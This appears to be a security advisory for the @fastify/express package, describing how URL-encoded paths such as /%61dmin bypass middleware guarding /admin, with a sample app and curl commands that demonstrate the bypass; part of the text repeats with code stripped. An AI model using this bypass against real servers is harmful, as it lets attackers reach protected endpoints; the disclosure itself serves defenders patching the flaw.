Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
References
rootxharsh Reporter
Eomm Remediation verifier
mcollina Remediation developer
Summary
A security vulnerability exists in
@fastify/expresswhere middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g.,/%61dmininstead of/admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.Details
The vulnerability is caused by how
@fastify/expressmatches requests against registered middleware paths.PoC
Step 1: Run the following Fastify application (save as
app.js):Step 2: Execute the attack.
It differs from CVE-2026-22031 because this is a different npm module with its own code.
References